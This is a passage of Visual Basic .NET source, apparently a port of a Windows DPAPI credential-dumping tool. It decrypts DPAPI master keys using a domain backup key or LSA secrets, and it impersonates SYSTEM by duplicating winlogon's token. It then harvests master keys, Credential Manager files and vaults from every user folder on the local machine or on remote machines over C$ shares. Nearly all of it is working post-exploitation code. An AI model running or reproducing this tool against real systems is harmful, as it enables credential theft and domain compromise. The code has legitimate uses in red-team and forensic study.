            Array.Copy(backupKeyBytes, 24, rsaPriv, 0, rsaPriv.Length)
            Dim a As String = BitConverter.ToString(rsaPriv).Replace("-", "")
            Dim sec As String = BitConverter.ToString(secretBytes).Replace("-", "")
            Dim domainKeyBytesDec As Byte() = Crypto.RSADecrypt(rsaPriv, secretBytes)
            Dim masteyKeyLen As Integer = BitConverter.ToInt32(domainKeyBytesDec, 0)
            Dim suppKeyLen As Integer = BitConverter.ToInt32(domainKeyBytesDec, 4)
            Dim masterKey As Byte() = New Byte(masteyKeyLen - 1) {}
            Buffer.BlockCopy(domainKeyBytesDec, 8, masterKey, 0, masteyKeyLen)
            Dim sha1 As SHA1Managed = New SHA1Managed()
            Dim masterKeySha1 As Byte() = sha1.ComputeHash(masterKey)
            Dim masterKeySha1Hex As String = BitConverter.ToString(masterKeySha1).Replace("-", "")
            mapping.Add(guidMasterKey, masterKeySha1Hex)
        Catch ex As Exception
            Console.WriteLine(ex.Message)
        End Try
        Return mapping
    End Function
    Public Shared Function DecryptMasterKeyWithSha(ByVal masterKeyBytes As Byte(), ByVal shaBytes As Byte()) As Dictionary(Of String, String)
        Dim mapping As Dictionary(Of String, String) = New Dictionary(Of String, String)()
        Try
            Dim guidMasterKey As String = String.Format("{{{0}}}", Encoding.Unicode.GetString(masterKeyBytes, 12, 72))
            Dim mkBytes As Byte() = GetMasterKey(masterKeyBytes)
            Dim offset As Integer = 4
            Dim salt As Byte() = New Byte(15) {}
            Array.Copy(mkBytes, 4, salt, 0, 16)
            offset += 16
            Dim rounds As Integer = BitConverter.ToInt32(mkBytes, offset)
            offset += 4
            Dim algHash As Integer = BitConverter.ToInt32(mkBytes, offset)
            offset += 4
            Dim algCrypt As Integer = BitConverter.ToInt32(mkBytes, offset)
            offset += 4
            Dim encData As Byte() = New Byte(mkBytes.Length - offset - 1) {}
            Array.Copy(mkBytes, offset, encData, 0, encData.Length)
            Dim final As Byte() = New Byte(47) {}
            If algHash = 32782 Then
                Using hmac = New HMACSHA512()
                    Dim df = New Pbkdf2(hmac, shaBytes, salt, rounds)
                    final = df.GetBytes(48)
                End Using
            Else
                Console.WriteLine("[X] Note: alg hash  '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8"))
                Return mapping
            End If
            If (algCrypt = 26128) AndAlso (algHash = 32782) Then
                Dim HMACLen As Integer = (New HMACSHA512()).HashSize / 8
                Dim aesCryptoProvider As AesManaged = New AesManaged()
                Dim ivBytes As Byte() = New Byte(15) {}
                Array.Copy(final, 32, ivBytes, 0, 16)
                Dim key As Byte() = New Byte(31) {}
                Array.Copy(final, 0, key, 0, 32)
                aesCryptoProvider.Key = key
                aesCryptoProvider.IV = ivBytes
                aesCryptoProvider.Mode = CipherMode.CBC
                aesCryptoProvider.Padding = PaddingMode.Zeros
                Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length)
                Dim outLen As Integer = plaintextBytes.Length
                Dim outputLen As Integer = outLen - 16 - HMACLen
                Dim masterKeyFull As Byte() = New Byte(HMACLen - 1) {}
                Array.Copy(plaintextBytes, outLen - outputLen, masterKeyFull, 0, masterKeyFull.Length)
                Using sha1 As SHA1Managed = New SHA1Managed()
                    Dim masterKeySha1 As Byte() = sha1.ComputeHash(masterKeyFull)
                    Dim masterKeySha1Hex As String = BitConverter.ToString(masterKeySha1).Replace("-", "")
                    If algHash = 32782 Then
                        Dim plaintextCryptBuffer As Byte() = New Byte(15) {}
                        Array.Copy(plaintextBytes, plaintextCryptBuffer, 16)
                        Dim hmac1 As HMACSHA512 = New HMACSHA512(shaBytes)
                        Dim round1Hmac As Byte() = hmac1.ComputeHash(plaintextCryptBuffer)
                        Dim round2buffer As Byte() = New Byte(outputLen - 1) {}
                        Array.Copy(plaintextBytes, outLen - outputLen, round2buffer, 0, outputLen)
                        Dim hmac2 As HMACSHA512 = New HMACSHA512(round1Hmac)
                        Dim round2Hmac As Byte() = hmac2.ComputeHash(round2buffer)
                        Dim comparison As Byte() = New Byte(63) {}
                        Array.Copy(plaintextBytes, 16, comparison, 0, comparison.Length)
                        Dim s1 As String = BitConverter.ToString(comparison).Replace("-", "")
                        Dim s2 As String = BitConverter.ToString(round2Hmac).Replace("-", "")
                        If s1.Equals(s2) Then
                            mapping.Add(guidMasterKey, masterKeySha1Hex)
                        Else
                            Console.WriteLine("[X] {0}:{1} - HMAC integrity check failed!", guidMasterKey, masterKeySha1Hex)
                            Return mapping
                        End If
                    Else
                        Console.WriteLine("[X] Note: alg hash  '{0} / 0x{1}' not currently supported!", algHash, algHash.ToString("X8"))
                        Return mapping
                    End If
                End Using
            Else
                Console.WriteLine("[X] Note: alg crypt '{0} / 0x{1}' not currently supported!", algCrypt, algCrypt.ToString("X8"))
                Return mapping
            End If
        Catch
        End Try
        Return mapping
    End Function
End Class
Public Class Crypto
    Public Shared Function DecryptBlob(ByVal ciphertext As Byte(), ByVal key As Byte(), ByVal Optional algCrypt As Integer = 26115) As Byte()
        If algCrypt = 26115 Then
            Dim desCryptoProvider As TripleDESCryptoServiceProvider = New TripleDESCryptoServiceProvider
            Dim ivBytes = New Byte(7) {}
            desCryptoProvider.Key = key
            desCryptoProvider.IV = ivBytes
            desCryptoProvider.Mode = CipherMode.CBC
            desCryptoProvider.Padding = PaddingMode.Zeros
            Dim plaintextBytes As Byte() = desCryptoProvider.CreateDecryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length)
            Return plaintextBytes
        ElseIf algCrypt = 26128 Then
            Dim aesCryptoProvider As AesManaged = New AesManaged
            Dim ivBytes = New Byte(15) {}
            aesCryptoProvider.Key = key
            aesCryptoProvider.IV = ivBytes
            aesCryptoProvider.Mode = CipherMode.CBC
            aesCryptoProvider.Padding = PaddingMode.Zeros
            Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor.TransformFinalBlock(ciphertext, 0, ciphertext.Length)
            Return plaintextBytes
        Else
            Return New Byte(-1) {}
        End If
    End Function
    Public Shared Function DeriveKey(ByVal keyBytes As Byte(), ByVal saltBytes As Byte(), ByVal Optional algHash As Integer = 32772) As Byte()
        If algHash = 32782 Then
            Dim hmac As HMACSHA512 = New HMACSHA512(keyBytes)
            Dim sessionKeyBytes As Byte() = hmac.ComputeHash(saltBytes)
            Return sessionKeyBytes
        ElseIf algHash = 32772 Then
            Dim hmac As HMACSHA1 = New HMACSHA1(keyBytes)
            Dim ipad = New Byte(63) {}
            Dim opad = New Byte(63) {}
            Dim sessionKeyBytes As Byte() = hmac.ComputeHash(saltBytes)
            For i = 0 To 64 - 1
                ipad(i) = Convert.ToByte("6"c)
                opad(i) = Convert.ToByte("\"c)
            Next
            For i = 0 To keyBytes.Length - 1
                ipad(i) = ipad(i) Xor sessionKeyBytes(i)
                opad(i) = opad(i) Xor sessionKeyBytes(i)
            Next
            Using sha1 As SHA1Managed = New SHA1Managed
                Dim ipadSHA1bytes As Byte() = sha1.ComputeHash(ipad)
                Dim opadSHA1bytes As Byte() = sha1.ComputeHash(opad)
                Dim combined As Byte() = Helpers.Combine(ipadSHA1bytes, opadSHA1bytes)
                Return combined
            End Using
        Else
            Return New Byte(-1) {}
        End If
    End Function
    Public Shared Function AESDecrypt(ByVal key As Byte(), ByVal IV As Byte(), ByVal data As Byte()) As Byte()
        Dim aesCryptoProvider As AesManaged = New AesManaged
        aesCryptoProvider.Key = key
        If IV.Length &lt;&gt; 0 Then
            aesCryptoProvider.IV = IV
        End If
        aesCryptoProvider.Mode = CipherMode.CBC
        Dim plaintextBytes As Byte() = aesCryptoProvider.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
        Return plaintextBytes
    End Function
    Public Shared Function LSAAESDecrypt(ByVal key As Byte(), ByVal data As Byte()) As Byte()
        Dim aesCryptoProvider As AesManaged = New AesManaged
        aesCryptoProvider.Key = key
        aesCryptoProvider.IV = New Byte(15) {}
        aesCryptoProvider.Mode = CipherMode.CBC
        aesCryptoProvider.BlockSize = 128
        aesCryptoProvider.Padding = PaddingMode.Zeros
        Dim transform As ICryptoTransform = aesCryptoProvider.CreateDecryptor
        Dim chunks = Decimal.ToInt32(Math.Ceiling(data.Length / CDec(16)))
        Dim plaintext = New Byte(chunks * 16 - 1) {}
        For i = 0 To chunks - 1
            Dim offset = i * 16
            Dim chunk = New Byte(15) {}
            Array.Copy(data, offset, chunk, 0, 16)
            Dim chunkPlaintextBytes As Byte() = transform.TransformFinalBlock(chunk, 0, chunk.Length)
            Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16)
        Next
        Return plaintext
    End Function
    Public Shared Function RSADecrypt(ByVal privateKey As Byte(), ByVal dataToDecrypt As Byte()) As Byte()
        Dim cspParameters = New System.Security.Cryptography.CspParameters(24)
        Using rsaProvider = New System.Security.Cryptography.RSACryptoServiceProvider(cspParameters)
            Try
                rsaProvider.PersistKeyInCsp = False
                rsaProvider.ImportCspBlob(privateKey)
                Dim dataToDecryptRev = New Byte(255) {}
                Buffer.BlockCopy(dataToDecrypt, 0, dataToDecryptRev, 0, dataToDecrypt.Length)
                Array.Reverse(dataToDecryptRev)
                Dim dec As Byte() = rsaProvider.Decrypt(dataToDecryptRev, False)
                Return dec
            Catch e As Exception
                Console.WriteLine("Error decryption domain key: {0}", e.Message)
            Finally
                rsaProvider.PersistKeyInCsp = False
                rsaProvider.Clear()
            End Try
        End Using
        Return New Byte(-1) {}
    End Function
    Public Shared Function LSASHA256Hash(ByVal key As Byte(), ByVal rawData As Byte()) As Byte()
        Using sha256Hash As SHA256 = SHA256.Create
            Dim buffer = New Byte(key.Length + rawData.Length * 1000 - 1) {}
            Array.Copy(key, 0, buffer, 0, key.Length)
            For i = 0 To 1000 - 1
                Array.Copy(rawData, 0, buffer, key.Length + i * rawData.Length, rawData.Length)
            Next
            Return sha256Hash.ComputeHash(buffer)
        End Using
    End Function
End Class
&lt;System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId:="Pbkdf", Justification:="Spelling is correct.")&gt;
Public Class Pbkdf2
    Public Sub New(ByVal algorithm As HMAC, ByVal password As Byte(), ByVal salt As Byte(), ByVal iterations As Int32)
        If algorithm Is Nothing Then
            Throw New ArgumentNullException("algorithm", "Algorithm cannot be null.")
        End If
        If salt Is Nothing Then
            Throw New ArgumentNullException("salt", "Salt cannot be null.")
        End If
        If password Is Nothing Then
            Throw New ArgumentNullException("password", "Password cannot be null.")
        End If
        Me.Algorithm = algorithm
        Me.Algorithm.Key = password
        Me.Salt = salt
        Me.IterationCount = iterations
        Me.BlockSize = Me.Algorithm.HashSize / 8
        Me.BufferBytes = New Byte(Me.BlockSize - 1) {}
    End Sub
    Public Sub New(ByVal algorithm As HMAC, ByVal password As Byte(), ByVal salt As Byte())
        Me.New(algorithm, password, salt, 1000)
    End Sub
    Public Sub New(ByVal algorithm As HMAC, ByVal password As String, ByVal salt As String, ByVal iterations As Int32)
        Me.New(algorithm, UTF8Encoding.UTF8.GetBytes(password), UTF8Encoding.UTF8.GetBytes(salt), iterations)
    End Sub
    Public Sub New(ByVal algorithm As HMAC, ByVal password As String, ByVal salt As String)
        Me.New(algorithm, password, salt, 1000)
    End Sub
    Private ReadOnly BlockSize As Integer
    Private BlockIndex As UInteger = 1
    Private BufferBytes As Byte()
    Private BufferStartIndex As Integer = 0
    Private BufferEndIndex As Integer = 0
    Public Property Algorithm As HMAC
    &lt;System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays", Justification:="Byte array is proper return value in this case.")&gt;
    Public Property Salt As Byte()
    Public Property IterationCount As Int32
    Public Function GetBytes(ByVal count As Integer) As Byte()
        Dim result As Byte() = New Byte(count - 1) {}
        Dim resultOffset As Integer = 0
        Dim bufferCount As Integer = Me.BufferEndIndex - Me.BufferStartIndex
        If bufferCount &gt; 0 Then
            If count &lt; bufferCount Then
                Buffer.BlockCopy(Me.BufferBytes, Me.BufferStartIndex, result, 0, count)
                Me.BufferStartIndex += count
                Return result
            End If
            Buffer.BlockCopy(Me.BufferBytes, Me.BufferStartIndex, result, 0, bufferCount)
            Me.BufferStartIndex = CSharpImpl.__Assign(Me.BufferEndIndex, 0)
            resultOffset += bufferCount
        End If
        While resultOffset &lt; count
            Dim needCount As Integer = count - resultOffset
            Me.BufferBytes = Me.Func()
            If needCount &gt; Me.BlockSize Then
                Buffer.BlockCopy(Me.BufferBytes, 0, result, resultOffset, Me.BlockSize)
                resultOffset += Me.BlockSize
            Else
                Buffer.BlockCopy(Me.BufferBytes, 0, result, resultOffset, needCount)
                Me.BufferStartIndex = needCount
                Me.BufferEndIndex = Me.BlockSize
                Return result
            End If
        End While
        Return result
    End Function
    Private Function Func() As Byte()
        Dim hash1Input = New Byte(Me.Salt.Length + 4 - 1) {}
        Buffer.BlockCopy(Me.Salt, 0, hash1Input, 0, Me.Salt.Length)
        Buffer.BlockCopy(GetBytesFromInt(Me.BlockIndex), 0, hash1Input, Me.Salt.Length, 4)
        Dim hash1 = Me.Algorithm.ComputeHash(hash1Input)
        Dim finalHash As Byte() = hash1
        For i As Integer = 2 To Me.IterationCount
            hash1 = Me.Algorithm.ComputeHash(hash1, 0, hash1.Length)
            For j As Integer = 0 To Me.BlockSize - 1
                finalHash(j) = CByte((finalHash(j) Xor hash1(j)))
            Next
            Array.Copy(finalHash, hash1, hash1.Length)
        Next
        If Me.BlockIndex = UInteger.MaxValue Then
            Throw New InvalidOperationException("Derived key too long.")
        End If
        Me.BlockIndex += 1
        Return finalHash
    End Function
    Private Shared Function GetBytesFromInt(ByVal i As UInteger) As Byte()
        Dim bytes = BitConverter.GetBytes(i)
        If BitConverter.IsLittleEndian Then
            Return New Byte() {bytes(3), bytes(2), bytes(1), bytes(0)}
        Else
            Return bytes
        End If
    End Function
    Private Class CSharpImpl
        &lt;Obsolete("Please refactor calling code to use normal Visual Basic assignment")&gt;
        Shared Function __Assign(Of T)(ByRef target As T, value As T) As T
            target = value
            Return value
        End Function
    End Class
End Class
Public Class Helpers
    Public Shared Function TestRemote(ByVal computerName As String) As Boolean
        Try
            Dim remotePath As String = String.Format("\\{0}\C$\Users\", computerName)
            Dim dirs As String() = Directory.GetDirectories(remotePath)
            Return True
        Catch e As Exception
            Console.WriteLine("[!] Error accessing computer '{0}' : {1}", computerName, e.Message)
            Return False
        End Try
    End Function
    Public Shared Function ConvertLocalPathToUNCPath(ByVal computerName As String, ByVal localPath As String) As String
        Try
            Dim parts As String() = localPath.Split(New Char() {System.IO.Path.DirectorySeparatorChar}, StringSplitOptions.RemoveEmptyEntries)
            Dim driveLetter As String = parts(0).Replace(":"c, "$"c)
            Dim newPath As String = String.Format("\\{0}\{1}\{2}", computerName, driveLetter, String.Join("\", (parts.Skip(1).Take(parts.Length - 1)).ToArray()))
            Return newPath
        Catch
            Return ""
        End Try
    End Function
    Public Shared Function Combine(ByVal first As Byte(), ByVal second As Byte()) As Byte()
        Dim ret As Byte() = New Byte(first.Length + second.Length - 1) {}
        Buffer.BlockCopy(first, 0, ret, 0, first.Length)
        Buffer.BlockCopy(second, 0, ret, first.Length, second.Length)
        Return ret
    End Function
    Public Shared Function Combine(ByVal first As String(), ByVal second As String()) As String()
        Dim ret As String() = New String(first.Length + second.Length - 1) {}
        Array.Copy(first, 0, ret, 0, first.Length)
        Array.Copy(second, 0, ret, first.Length, second.Length)
        Return ret
    End Function
    Public Shared Function IsUnicode(ByVal bytes As Byte()) As Boolean
        Dim flags As Interop.IsTextUnicodeFlags = Interop.IsTextUnicodeFlags.IS_TEXT_UNICODE_STATISTICS
        Return Interop.IsTextUnicode(bytes, bytes.Length, flags)
    End Function
    Public Shared Function RemoveWhiteSpaces(ByVal input As String) As String
        Return Regex.Replace(input, "\ +(?=(\n|\r?$))", "")
    End Function
    Public Shared Function GetSystem() As Boolean
        If IsHighIntegrity() Then
            Dim hToken As IntPtr = IntPtr.Zero
            Dim processes As Process() = Process.GetProcessesByName("winlogon")
            Dim handle As IntPtr = processes(0).Handle
            Dim success As Boolean = Interop.OpenProcessToken(handle, &amp;H2, hToken)
            If Not success Then
                Return False
            End If
            Dim hDupToken As IntPtr = IntPtr.Zero
            success = Interop.DuplicateToken(hToken, 2, hDupToken)
            If Not success Then
                Return False
            End If
            success = Interop.ImpersonateLoggedOnUser(hDupToken)
            If Not success Then
                Return False
            End If
            Interop.CloseHandle(hToken)
            Interop.CloseHandle(hDupToken)
            Dim name As String = System.Security.Principal.WindowsIdentity.GetCurrent().Name
            If name &lt;&gt; "NT AUTHORITY\SYSTEM" Then
                Return False
            End If
            Return True
        Else
            Return False
        End If
    End Function
    Public Shared Function GetRegKeyValue(ByVal keyPath As String) As Byte()
        Dim result As Integer = 0
        Dim hKey As IntPtr = IntPtr.Zero
        result = Interop.RegOpenKeyEx(&amp;H80000002UI, keyPath, 0, &amp;H19, hKey)
        If result &lt;&gt; 0 Then
            Dim [error] As Integer = Marshal.GetLastWin32Error()
            Dim errorMessage As String = New Win32Exception(CInt([error])).Message
            Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, [error], errorMessage)
            Return Nothing
        End If
        Dim cbData As Integer = 0
        result = Interop.RegQueryValueEx(hKey, Nothing, 0, IntPtr.Zero, IntPtr.Zero, cbData)
        If result &lt;&gt; 0 Then
            Dim [error] As Integer = Marshal.GetLastWin32Error()
            Dim errorMessage As String = New Win32Exception(CInt([error])).Message
            Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)
            Return Nothing
        End If
        Dim dataPtr As IntPtr = Marshal.AllocHGlobal(cbData)
        result = Interop.RegQueryValueEx(hKey, Nothing, 0, IntPtr.Zero, dataPtr, cbData)
        If result &lt;&gt; 0 Then
            Dim [error] As Integer = Marshal.GetLastWin32Error()
            Dim errorMessage As String = New Win32Exception(CInt([error])).Message
            Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)
            Return Nothing
        End If
        Dim data As Byte() = New Byte(cbData - 1) {}
        Marshal.Copy(dataPtr, data, 0, cbData)
        Interop.RegCloseKey(hKey)
        Return data
    End Function
    Public Shared Function StringToByteArray(ByVal hex As String) As Byte()
        Return Enumerable.Range(0, hex.Length).Where(Function(x) x Mod 2 = 0).[Select](Function(x) Convert.ToByte(hex.Substring(x, 2), 16)).ToArray()
    End Function
    Public Shared Iterator Function Split(ByVal text As String, ByVal partLength As Integer) As IEnumerable(Of String)
        If text Is Nothing Then
            Console.WriteLine("[!] Split() - singleLineString")
        End If
        If partLength &lt; 1 Then
            Console.WriteLine("[!] Split() - 'columns' must be greater than 0.")
        End If
        Dim partCount = Math.Ceiling(CDbl(text.Length) / partLength)
        If partCount &lt; 2 Then
            Yield text
        End If
        For i As Integer = 0 To partCount - 1
            Dim index = i * partLength
            Dim lengthLeft = Math.Min(partLength, text.Length - index)
            Dim line = text.Substring(index, lengthLeft)
            Yield line
        Next
    End Function
    Public Shared Function IsHighIntegrity() As Boolean
        Dim identity As WindowsIdentity = WindowsIdentity.GetCurrent()
        Dim principal As WindowsPrincipal = New WindowsPrincipal(identity)
        Return principal.IsInRole(WindowsBuiltInRole.Administrator)
    End Function
    Public Shared Function ArrayIndexOf(ByVal arrayToSearchThrough As Byte(), ByVal patternToFind As Byte(), ByVal Optional offset As Integer = 0) As Integer
        If patternToFind.Length &gt; arrayToSearchThrough.Length Then Return -1
        For i As Integer = offset To arrayToSearchThrough.Length - patternToFind.Length - 1
            Dim found As Boolean = True
            For j As Integer = 0 To patternToFind.Length - 1
                If arrayToSearchThrough(i + j) &lt;&gt; patternToFind(j) Then
                    found = False
                    Exit For
                End If
            Next
            If found Then
                Return i
            End If
        Next
        Return -1
    End Function
End Class
Public Class Triage
    Public Shared Function TriageUserMasterKeys(ByVal backupKeyBytes As Byte(), ByVal Optional show As Boolean = False, ByVal Optional computerName As String = "") As Dictionary(Of String, String)
        Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()
        If Not String.IsNullOrEmpty(computerName) Then
            Dim canAccess As Boolean = Helpers.TestRemote(computerName)
            If Not canAccess Then
                Return New Dictionary(Of String, String)()
            End If
        End If
        If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
            Dim userFolder As String = ""
            If Not String.IsNullOrEmpty(computerName) Then
                userFolder = String.Format("\\{0}\C$\Users\", computerName)
            Else
                userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
            End If
            Dim userDirs As String() = Directory.GetDirectories(userFolder)
            For Each dir As String In userDirs
                Dim parts As String() = dir.Split("\"c)
                Dim userName As String = parts(parts.Length - 1)
                If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
                    Dim userDPAPIBasePath As String = String.Format("{0}\AppData\Roaming\Microsoft\Protect\", dir)
                    If System.IO.Directory.Exists(userDPAPIBasePath) Then
                        Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)
                        For Each mydirectory As String In directories
                            Dim files As String() = Directory.GetFiles(mydirectory)
                            For Each myfile As String In files
                                If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                                    Dim fileName As String = System.IO.Path.GetFileName(myfile)
                                    If show Then
                                        Console.WriteLine("[*] Found MasterKey : {0}", myfile)
                                    End If
                                    Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
                                    Try
                                        Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)
                                        'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                                        For Each MyMap In mapping
                                            mappings.Add(MyMap.Key, MyMap.Value)
                                        Next
                                    Catch e As Exception
                                        Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
                                    End Try
                                End If
                            Next
                        Next
                    End If
                End If
            Next
        Else
            Dim userName As String = Environment.GetEnvironmentVariable("USERNAME")
            Dim userDPAPIBasePath As String = String.Format("{0}\AppData\Roaming\Microsoft\Protect\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
            If System.IO.Directory.Exists(userDPAPIBasePath) Then
                Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)
                For Each mydirectory As String In directories
                    Dim files As String() = Directory.GetFiles(mydirectory)
                    For Each myfile As String In files
                        If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                            Dim fileName As String = System.IO.Path.GetFileName(myfile)
                            If show Then
                                Console.WriteLine("[*] Found MasterKey : {0}", myfile)
                            End If
                            Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
                            Try
                                Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)
                                'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                                For Each MyMap In mapping
                                    mappings.Add(MyMap.Key, MyMap.Value)
                                Next
                            Catch e As Exception
                                Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
                            End Try
                        End If
                    Next
                Next
            End If
        End If
        Return mappings
    End Function
    Public Shared Function LoadKeysFromFolder(ByVal backupKeyBytes As Byte(), userDPAPIBasePath As String)
        Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()
        If System.IO.Directory.Exists(userDPAPIBasePath) Then
            Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)
            For Each mydirectory As String In directories
                Dim files As String() = Directory.GetFiles(mydirectory)
                For Each myfile As String In files
                    If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        Dim fileName As String = System.IO.Path.GetFileName(myfile)
                        Console.WriteLine("[*] Found MasterKey : {0}", myfile)
                        Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
                        Try
                            Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)
                            'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                            For Each MyMap In mapping
                                mappings.Add(MyMap.Key, MyMap.Value)
                            Next
                        Catch e As Exception
                            Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
                        End Try
                    End If
                Next
            Next
        End If
        Return mappings
    End Function
    Public Shared Function TriageSystemMasterKeys(ByVal Optional show As Boolean = False) As Dictionary(Of String, String)
        Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()
        If Helpers.IsHighIntegrity() Then
            Dim keys As List(Of Byte()) = LSADump.GetDPAPIKeys(True)
            Dim systemFolder As String = String.Format("{0}\Windows\System32\Microsoft\Protect\", Environment.GetEnvironmentVariable("SystemDrive"))
            Dim systemDirs As String() = Directory.GetDirectories(systemFolder)
            For Each mydirectory As String In systemDirs
                Dim machineFiles As String() = Directory.GetFiles(mydirectory)
                Dim userFiles As String() = Directory.GetFiles(String.Format("{0}\User\", mydirectory))
                For Each myfile As String In machineFiles
                    If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        Dim fileName As String = System.IO.Path.GetFileName(myfile)
                        If show Then
                            Console.WriteLine("[*] Found SYSTEM system MasterKey : {0}", myfile)
                        End If
                        Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
                        Try
                            Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKeyWithSha(masteyKeyBytes, keys(0))
                            'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                            For Each MyMap In mapping
                                mappings.Add(MyMap.Key, MyMap.Value)
                            Next
                        Catch e As Exception
                            Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
                        End Try
                    End If
                Next
                For Each myfile As String In userFiles
                    If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        Dim fileName As String = System.IO.Path.GetFileName(myfile)
                        If show Then
                            Console.WriteLine("[*] Found SYSTEM user MasterKey : {0}", myfile)
                        End If
                        Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)
                        Try
                            Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKeyWithSha(masteyKeyBytes, keys(1))
                            'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                            For Each MyMap In mapping
                                mappings.Add(MyMap.Key, MyMap.Value)
                            Next
                        Catch e As Exception
                            Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
                        End Try
                    End If
                Next
            Next
        Else
            Console.WriteLine(vbCrLf &amp; "[X] Must be elevated to triage SYSTEM masterkeys!" &amp; vbCrLf)
        End If
        Return mappings
    End Function
    Public Shared Sub TriageUserCreds(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "")
        If Not String.IsNullOrEmpty(computerName) Then
            Dim canAccess As Boolean = Helpers.TestRemote(computerName)
            If Not canAccess Then
                Return
            End If
        End If
        If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
            Console.WriteLine("[*] Triaging Credentials for ALL users" &amp; vbCrLf)
            Dim userFolder As String = ""
            If Not String.IsNullOrEmpty(computerName) Then
                userFolder = String.Format("\\{0}\C$\Users\", computerName)
            Else
                userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
            End If
            Dim dirs As String() = Directory.GetDirectories(userFolder)
            For Each dir As String In dirs
                Dim parts As String() = dir.Split("\"c)
                Dim userName As String = parts(parts.Length - 1)
                If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
                    Dim userCredFilePath As String = String.Format("{0}\AppData\Local\Microsoft\Credentials\", dir)
                    TriageCredFolder(userCredFilePath, MasterKeys)
                    Dim userCredFilePath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Credentials\", dir)
                    TriageCredFolder(userCredFilePath2, MasterKeys)
                End If
            Next
        Else
            Console.WriteLine("[*] Triaging Credentials for current user" &amp; vbCrLf)
            Dim userCredFilePath As String = String.Format("{0}\AppData\Local\Microsoft\Credentials\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
            TriageCredFolder(userCredFilePath, MasterKeys)
            Dim userCredFilePath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Credentials\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
            TriageCredFolder(userCredFilePath2, MasterKeys)
        End If
    End Sub
    Public Shared Sub TriageUserVaults(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "")
        If Not String.IsNullOrEmpty(computerName) Then
            Dim canAccess As Boolean = Helpers.TestRemote(computerName)
            If Not canAccess Then
                Return
            End If
        End If
        If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
            Console.WriteLine("[*] Triaging Vaults for ALL users" &amp; vbCrLf)
            Dim userFolder As String = ""
            If Not String.IsNullOrEmpty(computerName) Then
